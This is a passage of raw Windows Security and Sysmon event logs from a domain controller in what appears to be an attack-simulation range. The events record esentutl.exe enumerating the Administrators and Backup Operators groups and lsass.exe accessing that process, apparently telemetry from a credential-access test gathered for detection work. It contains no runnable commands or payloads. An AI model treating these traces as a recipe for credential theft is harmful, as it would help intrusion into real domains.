C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.119","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222165,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5591,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.119\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.119","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222166,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5592,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.119\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.119","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222167,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5593,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.119\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.119","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222168,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5594,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.119\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.119","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222169,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5595,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.119\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 